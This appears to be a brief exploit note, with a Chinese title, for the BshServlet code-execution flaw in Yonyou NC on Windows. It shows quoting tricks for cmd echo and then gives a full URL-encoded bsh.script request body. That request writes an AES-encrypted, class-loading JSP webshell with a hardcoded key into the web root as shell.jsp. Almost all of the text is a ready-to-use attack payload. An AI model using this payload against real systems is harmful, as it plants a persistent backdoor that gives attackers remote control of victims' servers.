用友NC BshServlet Echo Shell Tips 与 EXP on Windows

exec(cmd /c echo "shell-code" > shell.jsp);
shell.jsp:  "shell-code"

exec(cmd /c echo ">shell-code<" > shell.jsp);
shell.jsp内容: ">shell-code<" 

"bsh.script=exec%28%22cmd+%2Fc+echo+%5C%22%3E%3C%25%40page+import%3D%5C%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%5C%22%25%3E%3C%25%21class+U+extends+ClassLoader%7BU%28ClassLoader+c%29%7Bsuper%28c%29%3B%7Dpublic+Class+g%28byte+%5B%5Db%29%7Breturn+super.defineClass%28b%2C0%2Cb.length%29%3B%7D%7D%25%3E%3C%25if+%28request.getMethod%28%29.equals%28%5C%22POST%5C%22%29%29%7BString+k%3D%5C%22e45e329feb5d925b%5C%22%3Bsession.putValue%28%5C%22u%5C%22%2Ck%29%3BCipher+c%3DCipher.getInstance%28%5C%22AES%5C%22%29%3Bc.init%282%2Cnew+SecretKeySpec%28k.getBytes%28%29%2C%5C%22AES%5C%22%29%29%3Bnew+U%28this.getClass%28%29.getClassLoader%28%29%29.g%28c.doFinal%28new+sun.misc.BASE64Decoder%28%29.decodeBuffer%28request.getReader%28%29.readLine%28%29%29%29%29.newInstance%28%29.equals%28pageContext%29%3B%7D%25%3E%3C%5C%22+%3E+webapps%2Fnc_web%2Fshell.jsp%22%29%3B%0D%0A%0D%0A%0D%0A"